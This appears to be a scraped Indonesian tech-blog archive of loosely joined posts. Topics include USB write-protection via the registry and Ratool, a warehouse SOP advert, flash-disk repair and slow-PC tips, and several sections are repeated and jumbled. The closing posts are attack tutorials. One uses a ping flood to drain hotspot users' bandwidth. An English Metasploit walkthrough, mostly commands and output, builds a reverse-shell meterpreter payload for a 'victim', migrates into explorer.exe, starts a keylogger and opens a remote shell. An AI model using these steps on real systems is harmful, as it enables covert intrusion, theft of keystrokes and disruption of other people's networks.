Logo kemhan baru
Sunday, 23 January 2022
Thursday, 8 August 2019
Wednesday, 7 February 2018
CARA FILE TIDAK BISA DI COPY PASTA DAN DI REMOVE
Pernahkah Komputer atau Laptop sobat hanhan dipinjam oleh orang lain kemudian file - file penting di dalamnya pun sering juga di copy tanpa seijin kalian ? apa bila ya mungkin sobat hanhan akan merasa jengkel apalagi kalau itu file yang sangat teramat penting dan memiliki tingkat privasi yang tinggi. Bila sobat hanhan menghendaki, kalian dapat membuat file-file penting di komputer sobat hanhan tersebut tidak dapat begitu saja di copy - paste oleh orang lain. Bila iya silahkan mengikuti langkah - langkah di bawah ini agar orang lain tidak dengan mudah melakukan copy - paste File-file penting sobat hanhan ke dalam Flash Disk, Disket, CDR, maupun media penyimpanan file lainnya. adapun langkahnya sebagai berikut....
LANGKAH PERTAMA
Klik Start >> Run (atau tekan tombol Windows dan huruf R)>> ketik regedit kemudian OK atau ENTER.
Klik HKEY_LOCALMACHINE, pilih SYSTEM, pilih CurrentControlSet, pilih Control, cari folder StoregeDevicePolicies, buka folder tersebut kemudian klik 2x pada WriteProtect dan rubah value menjadi 1,apabila sobat hanhan tidak menemukan folder bernama StoregeDevicePolicies maka lanjut ke nomor berikutnya
Klik kanan pada Control pilih New >> Key kemudian beri nama folder tersebut dengan "StorageDevicePolicies"
Klik kanan pada StorageDevicePolicies kemudian pilih New >> DWord Value kemudian beri nama WriteProtect
Lalu klik double pada WriteProtect tersebut, kemudian ganti value datanya menjadi 1
Kemudian Restart Komputer/Laptop Anda
Selesai
Kalau sudah berhasil melakukan langkah-langkah diatas, maka setiap orang yang mau meng-Copy file-file dari komputer sobat hanhan tanpa ijin akan muncul tulisan: Error Copying File or Folder pada layar monitor komputer/laptop sobat hanhan.
Dan jika ingin mengembalikan kondisinya seperti semula maka tinggal ganti value nya menjadi 0.
tapi langkah diatas masih belum aman menurut hanan, maka silahkan lanjut ke langkah berikutnya
JURUS PAMUNGKAS
cara diatas tidak bekerja bila sang pengcopy sudah tau cara mengatasinya....cukup dengan regedit...bla bla bla...kemudian bisa di copy deh.....
maka ini dia jurus pamungkasnya....
sobat hanhan pakailah aplikasi removable acces tool/ ratool, tenang saja...aplikasi ini gratis loh...alias freeware, dengan aplikasi ini sobat juga bisa mendisable flashdisk/ hardsisk eksternal yang dicolokin ke pc sobat hanhan sekalian.aman sekali bukan...dengan aplikasi ini sobat hanhan bisa memberi ekstra perlindungan karena dilengkapi dengan password untuk merubah setingan disable/ enable nya...bisa cuma disable paste ataupun disable semua perangkat storage yang dicolokan ke PC sobat hanhan.untuk mendapatkan aplikasi/ software tersebut
silahkan sobat hanhan download aplikasi removable acces tool/ ratool di sordum.org
bacalah terlebih dahulu tulisan di website tersebut karena berisi petunjuk penggunaanya, kalau sobat hanhan sudah mengerti dan paham silahkan geser kebagian bawah dan cari tombol download untuk mengunduh aplikasi Ratool ini.
Berikut Sedikit hanhan jabarkan cara penggunaan aplikasi ini menurut tulisan yang ada di website tersebut
Ratool memungkinkan sobat hanhan melakukan berbagai tindakan berikut:
1. Blok USB Storage Device
Pilihan ini akan menonaktifkan semua perangkat penyimpanan USB akses ke PC Anda
Bagaimana untuk memblokir semua perangkat USB kecuali milik Anda sendiri:
a. Sambungkan perangkat USB Anda (Anda dapat menyambungkan lebih dari satu)
b. Pada menu Options, klik "Mencegah Instalasi perangkat USB"perangkat yang saat ini terhubung akan Dikecualikan/diperbolehkan, semua perangkat USB lainnya akan diblokir.
Di pilihan ini sobat hanhan akan memblokir semua perangkat USB yang nanti akan terkoneksi ke PC/laptop sobat hanhan sekalian. Untuk mengatur perangkat USB milik sobat hanhan agar tetap bisa terkoneksi silahkan sobat hanhan colokan USB Flashdisk/ ekternal hardisk saat itu juga.karena selain yang dicolokan/dikoneksikan saat itu akan terblokir/ tidak terbaca.
2. Perbolehkan Read Only
Membuat perangkat penyimpanan USB Read-Only atau hanya bisa dibaca saja. akses tulis atau paste dinonaktifkan. Dalam situasi tertentu, Anda mungkin ingin untuk mencegah data dari yang ditulis/dipaste ke perangkat USB.
Di pilihan ini USB yang tercolok/terkoneksikan bisa terbaca, tapi File yang ada di PC/laptop sobat hanhan tidak bisa dipaste/dicopykan ke perangkat USB yang tersambung.
3. Biarkan Baca & Tulis (Default)
me-reset semuanya kembali normal sehingga fungsi perangkat penyimpanan USB yang biasanya.
Di pilihan ini USB yang terkoneksi bisa berfungsi normal dan file bisa di copy paste ke perangkat USB yang terkoneksi ke PC/laptop sobat hanhan.
4. Pada menu Options,
Anda dapat memilih untuk memblokir atau membuka blokir removable drive/CD-DVD ekternal, mengizinkan atau menolak akses kepada mereka, atau menonaktifkan Autorun (ukuran keamanan mencegah malware dari menggunakan fitur Autorun untuk memulai sendiri). Ada juga pilihan untuk menampilkan file tersembunyi pada drive, dan satu lagi untuk melepas koneksi USB dengan aman"safely remove hardware". Lengkap sekali bukan setingannya....hehe
5. Di bawah menu Settings,
Anda dapat mengatur sandi untuk mencegah perubahan yang tidak sah. Nah disini sobat hanhan atur deh password aplikasi biar orang lain tidak bisa melakukan perubahan setingan yang sudah sobat lakukan.
6. Di menu Pengaturan
Di menu Pengaturan juga ada pilihan untuk beralih bahasa (Inggris, Jerman dan Turki adalah pra-instal). Terjemahkan pilihan memungkinkan Anda untuk mengedit bahasa dan menerjemahkan ke dalam bahasa Anda sendiri
Terjemahan memungkinkan Anda untuk menerjemahkan setiap baris secara terpisah/ sendiri sendiri
1. Pilih bahasa Anda sendiri (ini penting untuk menetapkan ID bahasa yang benar)
2. ketik terjemahan Anda. (Misalnya, jika bahasa Anda Jepang, ketik kata-kata Jepang)
3. Jika Anda ingin, Anda dapat menyimpan terjemahan
4. Klik tombol 'Copy to Clipboard'
5. Terakhir, klik tombol "Kirim Data diterjemahkan" untuk mengirimkan terjemahan Anda
Sistem Operasi yang Didukung:
Windows 10, Windows 8.1, Windows 8, Windows 7, Windows Vista, Winsows xp - (baik x86 dan x64)Bahasa yang didukung: Inggris, Turki, Jerman, Jepang, Persia, Vietnam, Rusia, Ukraina, Hungaria, Yunani, Arab, Cina Sederhana, Cina Tradisional, Swedia, Perancis, Polandia, Spanyol, Italia, Korea, Serbia, Portugal, Indonesia, Uyghur , Thai
setelah aplikasi Ratool ini sobat hanhan download (hasil download berupa file winzip(Ratool.zip) sobat harus extract terlebih dahulu) kalau udah sobat hanhan extract nanti akan muncul folder Ratol_v1.3 tinggal dibuka foldernya dan jalankan aplikasinya
dan silahkan sobat hanhan lakukan setingan sesuai selera sobat hanhan sekalian sesuai dengan petunjuk yang hanhan tuliskan diatas....kini PC/laptop sobat hanhan sekalian sudah aman dari tindakan copy paste tanpa ijin.
LANGKAH PERTAMA
Klik Start >> Run (atau tekan tombol Windows dan huruf R)>> ketik regedit kemudian OK atau ENTER.
Klik HKEY_LOCALMACHINE, pilih SYSTEM, pilih CurrentControlSet, pilih Control, cari folder StoregeDevicePolicies, buka folder tersebut kemudian klik 2x pada WriteProtect dan rubah value menjadi 1,apabila sobat hanhan tidak menemukan folder bernama StoregeDevicePolicies maka lanjut ke nomor berikutnya
Klik kanan pada Control pilih New >> Key kemudian beri nama folder tersebut dengan "StorageDevicePolicies"
Klik kanan pada StorageDevicePolicies kemudian pilih New >> DWord Value kemudian beri nama WriteProtect
Lalu klik double pada WriteProtect tersebut, kemudian ganti value datanya menjadi 1
Kemudian Restart Komputer/Laptop Anda
Selesai
Kalau sudah berhasil melakukan langkah-langkah diatas, maka setiap orang yang mau meng-Copy file-file dari komputer sobat hanhan tanpa ijin akan muncul tulisan: Error Copying File or Folder pada layar monitor komputer/laptop sobat hanhan.
Dan jika ingin mengembalikan kondisinya seperti semula maka tinggal ganti value nya menjadi 0.
tapi langkah diatas masih belum aman menurut hanan, maka silahkan lanjut ke langkah berikutnya
JURUS PAMUNGKAS
cara diatas tidak bekerja bila sang pengcopy sudah tau cara mengatasinya....cukup dengan regedit...bla bla bla...kemudian bisa di copy deh.....
maka ini dia jurus pamungkasnya....
sobat hanhan pakailah aplikasi removable acces tool/ ratool, tenang saja...aplikasi ini gratis loh...alias freeware, dengan aplikasi ini sobat juga bisa mendisable flashdisk/ hardsisk eksternal yang dicolokin ke pc sobat hanhan sekalian.aman sekali bukan...dengan aplikasi ini sobat hanhan bisa memberi ekstra perlindungan karena dilengkapi dengan password untuk merubah setingan disable/ enable nya...bisa cuma disable paste ataupun disable semua perangkat storage yang dicolokan ke PC sobat hanhan.untuk mendapatkan aplikasi/ software tersebut
silahkan sobat hanhan download aplikasi removable acces tool/ ratool di sordum.org
bacalah terlebih dahulu tulisan di website tersebut karena berisi petunjuk penggunaanya, kalau sobat hanhan sudah mengerti dan paham silahkan geser kebagian bawah dan cari tombol download untuk mengunduh aplikasi Ratool ini.
Berikut Sedikit hanhan jabarkan cara penggunaan aplikasi ini menurut tulisan yang ada di website tersebut
Ratool memungkinkan sobat hanhan melakukan berbagai tindakan berikut:
1. Blok USB Storage Device
Pilihan ini akan menonaktifkan semua perangkat penyimpanan USB akses ke PC Anda
Bagaimana untuk memblokir semua perangkat USB kecuali milik Anda sendiri:
a. Sambungkan perangkat USB Anda (Anda dapat menyambungkan lebih dari satu)
b. Pada menu Options, klik "Mencegah Instalasi perangkat USB"perangkat yang saat ini terhubung akan Dikecualikan/diperbolehkan, semua perangkat USB lainnya akan diblokir.
Di pilihan ini sobat hanhan akan memblokir semua perangkat USB yang nanti akan terkoneksi ke PC/laptop sobat hanhan sekalian. Untuk mengatur perangkat USB milik sobat hanhan agar tetap bisa terkoneksi silahkan sobat hanhan colokan USB Flashdisk/ ekternal hardisk saat itu juga.karena selain yang dicolokan/dikoneksikan saat itu akan terblokir/ tidak terbaca.
2. Perbolehkan Read Only
Membuat perangkat penyimpanan USB Read-Only atau hanya bisa dibaca saja. akses tulis atau paste dinonaktifkan. Dalam situasi tertentu, Anda mungkin ingin untuk mencegah data dari yang ditulis/dipaste ke perangkat USB.
Di pilihan ini USB yang tercolok/terkoneksikan bisa terbaca, tapi File yang ada di PC/laptop sobat hanhan tidak bisa dipaste/dicopykan ke perangkat USB yang tersambung.
3. Biarkan Baca & Tulis (Default)
me-reset semuanya kembali normal sehingga fungsi perangkat penyimpanan USB yang biasanya.
Di pilihan ini USB yang terkoneksi bisa berfungsi normal dan file bisa di copy paste ke perangkat USB yang terkoneksi ke PC/laptop sobat hanhan.
4. Pada menu Options,
Anda dapat memilih untuk memblokir atau membuka blokir removable drive/CD-DVD ekternal, mengizinkan atau menolak akses kepada mereka, atau menonaktifkan Autorun (ukuran keamanan mencegah malware dari menggunakan fitur Autorun untuk memulai sendiri). Ada juga pilihan untuk menampilkan file tersembunyi pada drive, dan satu lagi untuk melepas koneksi USB dengan aman"safely remove hardware". Lengkap sekali bukan setingannya....hehe
5. Di bawah menu Settings,
Anda dapat mengatur sandi untuk mencegah perubahan yang tidak sah. Nah disini sobat hanhan atur deh password aplikasi biar orang lain tidak bisa melakukan perubahan setingan yang sudah sobat lakukan.
6. Di menu Pengaturan
Di menu Pengaturan juga ada pilihan untuk beralih bahasa (Inggris, Jerman dan Turki adalah pra-instal). Terjemahkan pilihan memungkinkan Anda untuk mengedit bahasa dan menerjemahkan ke dalam bahasa Anda sendiri
Terjemahan memungkinkan Anda untuk menerjemahkan setiap baris secara terpisah/ sendiri sendiri
1. Pilih bahasa Anda sendiri (ini penting untuk menetapkan ID bahasa yang benar)
2. ketik terjemahan Anda. (Misalnya, jika bahasa Anda Jepang, ketik kata-kata Jepang)
3. Jika Anda ingin, Anda dapat menyimpan terjemahan
4. Klik tombol 'Copy to Clipboard'
5. Terakhir, klik tombol "Kirim Data diterjemahkan" untuk mengirimkan terjemahan Anda
Sistem Operasi yang Didukung:
Windows 10, Windows 8.1, Windows 8, Windows 7, Windows Vista, Winsows xp - (baik x86 dan x64)Bahasa yang didukung: Inggris, Turki, Jerman, Jepang, Persia, Vietnam, Rusia, Ukraina, Hungaria, Yunani, Arab, Cina Sederhana, Cina Tradisional, Swedia, Perancis, Polandia, Spanyol, Italia, Korea, Serbia, Portugal, Indonesia, Uyghur , Thai
setelah aplikasi Ratool ini sobat hanhan download (hasil download berupa file winzip(Ratool.zip) sobat harus extract terlebih dahulu) kalau udah sobat hanhan extract nanti akan muncul folder Ratol_v1.3 tinggal dibuka foldernya dan jalankan aplikasinya
dan silahkan sobat hanhan lakukan setingan sesuai selera sobat hanhan sekalian sesuai dengan petunjuk yang hanhan tuliskan diatas....kini PC/laptop sobat hanhan sekalian sudah aman dari tindakan copy paste tanpa ijin.
Lagu anak terbaru
Contoh SOP
Contoh SOP
Pada aktifitas operasional
Warehouse sehari-hari tentunya diharapkan mengacu kepada satu Standard
Operating Procedure (SOP) Pergudangan yang jelas dan executeable untuk
dilakukan oleh karyawan di gudang. Terkadang dalam penyusunan Standard
Operating Procedure (SOP) Pergudangan,
departemen Quality Management / Assurance hanya menjadi semacam
inisiator untuk pembuatan SOP, tanpa memahami apakah SOP tersebut dapat
diimplementasikan atau tidak.
Jika perusahaan anda saat ini
tidak memiliki departemen Quality Management / Assurance serta saat ini
Warehouse/Gudang anda belum memiliki SOP yang jelas sehingga berjalan sesuai
‘kebiasaan’ karyawan semata, atau sebaliknya SOP tersedia namun tidak
memungkinkan untuk dipraktikkan dalam operasional Warehouse, kira-kira apa yang
akan terjadi?
Beberapa temuan saya kejadian
seperti itu sangat sering terjadi dan dampak ‘ketidakjelasan’ SOP tersebut
adalah :
• Kebocoran
aset perusahaan yang ada di Warehouse dalam berbagai macam jenis penyimpangan
karena tidak adanya panduan SOP yang jelas.
• Budaya
kerja ‘semau’ atasan atau budaya ‘turun temurun’, dimana hal ini mengakibatkan
demotivasi bagi karyawan di bawah yang tentu menghendaki ada satu standarisasi
kerja.
• Kualitas
pekerjaan yang tidak standard. Berbeda orang yang mengerjakan akan berbeda
perlakuannya , sehingga kualitas kerja tergantung kepada ‘orang’ dan bukan
kepada ‘sistem’
Untuk menghindari ketiga hal di
atas tentu dibutuhkan adanya satu dokumen SOP sebagai panduan kerja standard
bagi seluruh karyawan yang bekerja di Warehouse. Excelogic Consulting and
Training dalam beberapa project konsultasi dan pelatihan ataupun sekedar
berkoresponden dengan pembaca artikel di blog menangkap adanya satu kebutuhan
terutama bagi industri skala kecil menengah untuk adanya sebuah Standard
Operating Procedure (SOP) Pergudangan, untuk itu pada artikel ini secara umum
kami mencoba membagikan salah satu contoh SOP Pergudangan secara detail.
Contoh Standard Operating
Procedure (SOP) Pergudangan untuk operasional Penerimaan Barang di Gudang :
Pada halaman-1 SOP adalah
lembaran document history yang menjelaskan history SOP mulai saat pertama kali
dibuat , revisi-1, revisi-2 dan seterusnya, termasuk perubahan-perubahan yang
setiap bagian. Halaman-1 SOP ini juga memuat lembar pengesahan SOP.
Pada bagian atas (header) SOP
memuat beberapa hal berikut : logo perusahaan di kiri atas , judul SOP ,
efektif berlaku nya SOP , keterangan dokumen. Bagian atas SOP merupakan bagian
yang sama untuk halaman selanjutnya , hanya berubah di penunjuk halaman saja.
Pada halaman-2 (atau selanjutnya)
dari SOP memuat informasi : Tujuan SOP dibuat, Ruang Lingkup SOP, Penanggung
Jawab SOP , Definisi dan singkatan dari istilah-istilah yang ada di dalam SOP.
Bagian ini diperlukan untuk mengetahui keterangan-keterangan SOP yang tidak
dapat dipaparkan dalam diagram visual (pada halaman selanjutnya).
Pada halaman-3 (atau selanjutnya)
dari SOP dapat dikatakan merupakan bagian yang paling penting karena memuat
seluruh informasi alur proses dari aktifitas sesuai judul pada SOP (dalam hal
ini penerimaan barang).
Terbagi atas 3 kolom : Aktifitas,
Dokumen / Catatan Mutu dan Keterangan. Bagian Aktifitas menunjukkan proses
tahapan demi tahapan pada aktifitas penerimaan barang. Dokumen / Catatan Mutu
memberikan informasi dokumen-dokumen apa saja yang terlibat dalam setiap
tahapan. Bagian Keterangan menunjukkan detail catatan dan definisi-definisi
pada setiap tahapan proses.
Secara umum beberapa hal di atas
mendeskripsikan isi Standard Operating Procedure (SOP) Pergudangan pada aktifitas
Penerimaan barang, tentu setelah proses-proses ini masih terdapat
aktifitas operasional lain di
gudang, seperti : Put Away, Picking / Packing, Checking, Loading, Dispatching,
Return, Stock Opname / Cycle Count, dsb.
Excelogic Consulting and Training
bersama dengan professional ahli di bidang sistem manajemen mutu (ISO)
menyediakan jasa konsultasi pembuatan Prosedur (SOP) dan Instruksi Kerja (WI)
untuk membantu Perusahaan memiliki
Prosedur (SOP) dan Instruksi Kerja (WI) yang detail serta terperinci dan
tentunya dapat dijalankan oleh karyawan di gudang.
Excelogic membantu tidak hanya
support sampai pembuatan Prosedur (SOP) dan Instruksi Kerja (WI) namun sampai
ke seluruh dokumen yang berhubungan dengan SOP (Form dan Reporting) serta
mendampingi fase implementasi (gap analysis, audit internal, improvement
desain) serta post implementasi (surveillance).
Hasilnya diharapkan Perusahaan
mendapatkan standard yang jelas dan terperinci untuk kemudian tentu dapat
melakukan improvement yang signifikan sepanjang alur proses bisnis
Perusahaan. Jika Perusahaan anda
membutuhkan Standard Operating Procedure (SOP) Pergudangan atau Desain SOP
untuk fungsi lain , silahkan hubungi team Excelogic Consulting di email dan
kontak berikut.
Jika anda membutuhkan raw file
Standard Operating and Procedure (SOP) yang terdiri dari :
• 4
(Empat) file Standard Operating Procedure (SOP) : Penerimaan, Penyimpanan,
Pengeluaran dan Stock Opname dalam bentuk Microsoft Word
• 7
(lima) Form : Terima, Order, Keluar, Kartu Stock, Inventory, Perencanaan Stock
Opname dan Perhitungan Stock Opname dalam bentuk Microsoft Excel
silahkan kunjungi link berikut
(Beli-Template.com) , sebanyak 11 dokumen (4 SOP/Prosedur dan 7 Formulir) kami
sediakan pada link tersebut.
Tuesday, 22 March 2016
Sunday, 27 December 2015
Mengembalikan file FlashDisk yang Error
Mengatasi Permasalahan dan Error Pada FlashDisk Sering kita mengabaikan kesalahan kesalahan yang terjadi pada sebuah flasdisk..menganggap itu masalah biasa dan jika dibiarkan terus menerus akan merusak perangkat flasdisk yang kita miliki..pernakah anda mengalami,ketika anda membawa sebuah flasdisk kerumah teman untuk mengambil sebuah data penting.Tiba tiba flasdisk tidak berfungsi dengan semestinya.Flasdisk tidak terbaca atau flasdisk anda minta untuk diformat..padahal saat di coba dirumah,flasdisk dapat beroperasi dengan baik...hanya kadang kadang saja mengalami error.Hal demikian seringkali terjadi dan membuat kita kesal.Akhirnya kita memutuskan untuk menyingkirkan flasdisk tersebut dan menggantinya dengan yang baru.Padahal ada cara untuk mengatasi masalah tersebut.
Pertama kita bisa lakukan dengan menggunakan Dos Prompt:
Klik tombol windows dan huruf R pada keyboard, maka akan muncul kotak dialog RUN, tulislah perintah COMMAND pada kolom persis disamping tulisan opendan selanjutnya akan masuk ke command promt, biasanya bertuliaskan C:\document\ownwer>
Disitu ketiklah CHKDSK setelah owner> contoh CHKDSK /F: (lalu enter) apabila flas disk anda letak drivenya pada F dan apaila pada G atau H... maka tulisnya yang sesuai dengan drivenyaSelanjutnya bila sudah selesai memeriksa dari Check Disk (CHKDSK), coba anda buang file yang ada pada Flash Disk dengan perintah Del drive letter:*.*. Contoh pada perintah membuang file dari Flash Disk di drive F: adalah DEL F:*.*Sekali lagi anda coba format dengan perintah Dos Promt. Format F:
Jika anda sudah mencoba cara pertama tapi belum maksimal..kita coba dengan cara kedua yaitu dengan menggunakan komputer management
Pilih drive F atau drive flash disk anda, lalu klik kanan dan pilih formatBila masih terdapat pesan error lakukan boot pada computer.
Cara yang ini adalah untuk memperbaiki flash disk yang corrupt file dan mengalami file protect ketika mengcopy atau memindahkan data serta tidak dapat melakukan format.Selesai melakukan format pada Flash Disk, tetapi anda mendapat pesan yang sama ketika melakukan format. Coba anda lakukan boot pada computer untuk me-refresh Windows XP agar mengenal Flash Disk anda. Bila masih mengalami hal sama, coba anda ulangi kembali melakukan chkdsk, bila masih terdapat pesan invalid link. Bila kedua kalinya anda masih mengalami hal tersebut, cara yang kami berikan tidak berlaku untuk flash disk andaKasus Flash Disk Write Protect terkadang hanya terjadi pada satu buah computer sementara beberapa waktu masih dapat digunakan oleh computer berbeda. Tetapi dapat juga langsung terjadi pada semua computer yang ketika anda menghubungkan Flash Disk anda baik pada sistem Windows XP atau OS lainHal lain dapat saja membuat error pada flash disk anda dan belum tentu disebabkan karena corrupt file yang membuat kasus seperti diatas.
Solusi Komputer lemot
1. cek program-program yang menggunakan memori yang besar. Cara mengeceknya dengan ‘Task Manager’.
periksalah module apa saja yang terinstal dikomputer lewat cara klik add/remove module di carry out row serta un-install program-program yang cuma jadi accesories tersebut. itu salah satu cara mengatasi komputer lambat.
3. Jika masih lambat coba lakukan cari ini (Untuk Windows 7):
Control Panel >> Performance Information & Tools (manfaatkan fitur search)>> Adjust Visual Effects
4. gunakan fitur defragment.
Kali ini coba lakukan “Disk Defragment”. Control Panel >> “Defragment” (gunakan fitur search)
Lalu defragment Harddisknya.
5. hapus file-file yang tidak diperlukan terutama pada folder prefect.
Coba buka explorer >> C://windows/prefetch >> hapus semua file yang ada di dalam folder prefetch.
6. gunakan ccleaner. download ccleaner di website.
7. gunakan easy cleaner. kedua software gratis diatas sangat baik digunakan untuk mempercepat laptop atau komputer.
Ctrl+Alt+Del >> Task Manager >> tab “Process”
Di sini dapat terlihat aplikasi yang memakan memori. Silahkan di-close/end process program-program yang tidak diperlukan.
2. komputer lambat dikarenakan terlampau banyaknya module yang terinstal.
terkadang kita sering menginstal banyak modul untuk melakukan tugas terutama mahasiswa atau siapa saja yang ingin trial and error, sehingga aplikasi tersebut menumpuk. walau sebenarnya aplikasi tersebut jarang atau apalagi dari dulu tidak dipakai kecuali sesekali saja.
periksalah module apa saja yang terinstal dikomputer lewat cara klik add/remove module di carry out row serta un-install program-program yang cuma jadi accesories tersebut. itu salah satu cara mengatasi komputer lambat.
3. Jika masih lambat coba lakukan cari ini (Untuk Windows 7):
Control Panel >> Performance Information & Tools (manfaatkan fitur search)>> Adjust Visual Effects
Di tab “Visual Effects”, pilih “Adjust for best performance”. Atau di list yang terdapat di bagian bawah, silahkan uncheck tampilan visual yang tidak diperlukan untuk mengurasi konsumsi memori.
4. gunakan fitur defragment.
Kali ini coba lakukan “Disk Defragment”. Control Panel >> “Defragment” (gunakan fitur search)
Lalu defragment Harddisknya.
5. hapus file-file yang tidak diperlukan terutama pada folder prefect.
Coba buka explorer >> C://windows/prefetch >> hapus semua file yang ada di dalam folder prefetch.
6. gunakan ccleaner. download ccleaner di website.
7. gunakan easy cleaner. kedua software gratis diatas sangat baik digunakan untuk mempercepat laptop atau komputer.
kedua file diatas juga biasa saya pake untuk membuang file yang tidak di perlukan di berbagai tempat di windows. bisa digunakan salah satu. keduanya merupakan software kecil namun ampuh untuk membersihkan file yang tidak digunakan di windows. demikian tutorialcara mengatasi komputer lambat.
Monday, 16 June 2014
Cara Hack Wifi menggunakan CMD
Cara Hack Wifi Menggunakan CMD
1. buka CMD, klik start -> all programs -> Command prompt.
2. Setelah jendela CMD terbuka ketikkan perintah ipconfig /all.
jadi target kita kali ini 10.0.1.2
4.
Sekarang ketikkan perntah ping -L 500 10.0.1.2 -t lalu tekan
enter : 10.0.1.2 adalah target kalian, silahkan ganti dengan DNS korban
anda.
5. Setelah itu akan muncul gambar seperti dibawah ini
cara ini berfungsi untuk menyedot bandwith pengguna yang main di area sekitar hotspot tersebut.
pada ping-
L 500 10.0.1.2 -tanda juga bisa mengubah angka 500 jadi 1000 atau
lebih, tapi jangan terlalu berlebihan ya, kasian pengguna lain.
Monday, 9 June 2014
Hacking Metasploit Tutorial
--- The Metasploit Framework ---
Note: This is an advance topic.Read Carefully. Feel free to ask any kind of queries . We are always here to help you.
If you are really interested in network security, chances are you must have heard of the Metasploit over the last few years.
Now,
have you ever wondered what someone can do to your PC, by just knowing
your IP. Here's the answer. He could 0wN you, or in other words , he
could have full access to your PC provided you have
just a few security loopholes which may arise cause of even a simple
reason like not updating your Flash player last week, when it prompted
you to do so.
Metasploit is a
hacker's best friend, mainly cause it makes the job of exploitation and
post-exploitation a lot easier compared to other traditional methods of
hacking.
The
topic Metasploit is very vast in itself.However, i'll try keeping it
basic and simple so that it could be understood by everyone here. Also,
Metasploit can be used with several other tools such as NMap or Nessus (all these tools are present in Backtrack ).
In
this tutorial, i'll be teaching you how to exploit a system using a
meterpreter payload and start a keylogger on the victim's machine.
Hacking through Metasploit is done in 3 simple steps: Point, Click, 0wn.
Before
I go into the details of The Metasploit Framework, let me give you a
little idea of some basic terms (may seem boring at first, but you must
be knowing them)
Vulnerability: A flaw or weakness in system security procedures, design or implementation that could be exploited resulting in notable damage.
Exploit: A piece of software that take advantage of a bug or vulnerability, leading to privilege escalation or DoS attacks on the target.
Overflow: Error caused when a program tries to store data beyond its size. Maybe used by an attacker to execute malicious codes.
Payload: Actual code which runs on the compromised system after exploitation
Now, what Metasploit IS?
It is an open source penetration testing framework,
used for developing and executing attacks against target systems. It
has a huge database of exploits, also it can be used to write our own
0-day exploits.
METASPLOIT ANTI FORENSICS:
Metasploit
has a great collection of tools for anti forensics, making the forensic
analysis of the compromised computer little difficult. They are
released as a part ofMAFIA(Metasploit Anti Forensic Investigation Arsenal). Some of the tools included are Timestomp, Slacker, Sam Juicer, Transmogrify.
Metasploit comes in the following versions:
1. CLI (Command Line Interface)
2. Web Interface
3. MSF Console
4. MSFwx
5. MSFAPI
I
would recommend using the MSF Console because of its effectiveness
& powerful from a pentester’s P0V. Another advantage of this mode
is, several sessions of msfconsole could be run simultaneously.
I
would recommend you doing the following things in Metasploit, on a
Backtrack(system or image), avoiding the windows version of the tool.
For
those of all who don't know, Backtrack is a linux distro especially for
security personals, including all the tools required by a pentester.
Download Backtrack from here.
You can download the ISO or VMware image, according to the one you're
comfortable with. If you have 2 access to more than 1 system physically,
then go for the ISO image and install it on your hard disk.
Let the Hacking Begin :
Open up backtrack. You should have a screen similar to this.
The default login credentials are:
Username: root
Pass: toor
Type in
root@bt:~#/etc/init.d/wicd start
to start the wicd manager
Finally, type "startx" to start the GUI mode:
root@bt:~#startx
First of all, know your Local Ip. Opening up a konsole (on the bottom left of taskbar) and typing in:
root@bt:~#ifconfig
It would be something like 192.168.x.x or 10.x.x.x.
Have a note of it.
Now,
Launch msfconsole by going to Applications>>Backtrack>>Metasploit Engineering Framework>>Framework Version 3>>msfconsole
You should now be having a shell something similar to a command prompt in windows.
msf >
Let’s now
create an executable file which establishes a remote connection between
the victim and us, using the meterpreter payload.
Open another
shell window (”Session>>New Shell” or click on the small icon on
the left of the shell tab in the bottom left corner of the window)
root@bt:/opt/metasploit3/msf3#
./msfpayload windows/meterpreter/reverse_tcp LHOST=”your local ip”
LPORT=”any port you wish” x > /root/reverse_tcp.exe
Your local IP is the one you noted earlier and for port you could select 4444.
(Everything has to be entered without quotes)
You should get something like this:
Payload: windows/meterpreter/reverse_tcp
Length: 290
Options: LHOST=192.168.255.130,LPORT=4444
root@bt:/opt/metasploit3/msf3#
Also, now on your backtrack desktop, you would be seeing a reverse_tcp.exe file.
Migrate it to your other computer in the same local network using a thumb drive or by uploading it online.
Now open the 1st shell window with msfconsole in it.
msf >
Type the following:
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.255.130
LHOST => 192.168.255.130
msf exploit(handler) > set LPORT 4444
LPORT => 4444
All the connections are done. You have already made an executable file which makes a reverse connection to you.
And now, you have set the meterpreter to listen to you on port 4444.
The last step you have to do now, is to type in “exploit” and press enter,
msf exploit(handler) > exploit
[*] Started reverse handler on 192.168.255.130:4444
[*] Starting the payload handler...
Now, the payload is listening for all the incoming connections on port 444.
[*] Sending stage (749056 bytes) to 192.168.255.1
[*] Meterpreter session 1 opened (192.168.255.130:4444 -> 192.168.255.1:62853) at Sun Mar 13 11:32:12 -0400 2011
You would see a meterpreter prompt like this
meterpreter >
Type in ps to list the active processes
meterpreter > ps
Search for explorer.exe and migrate to the process
meterpreter > migrate 5716
[*] Migrating to 5716...
[*] Migration completed successfully.
meterpreter >
Type in the following:
meterpreter > use priv
Now, if you want to start the Keylogger activity on victim, just type keyscan_start
Now, if you want to go to the victim’s computer,
Jus type shell
meterpreter > shell
Process 5428 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>
You would now be having a command prompt,
Type in whoami, to see the computer’s name of victim :
C:\Windows\system32>whoami
whoami
win7-pc\win 7
C:\Windows\system32>
Let’s suppose you want to start a notepad on the victim’s computer.
Type in:
Let’s say the victim has typed in anything on his computer.
Just type exit, to return to meterpreter.
Now type in keyscan_dump, to see all the typed keystrokes :
meterpreter > keyscan_dump
Dumping captured keystrokes...
Subscribe to:
Posts (Atom)


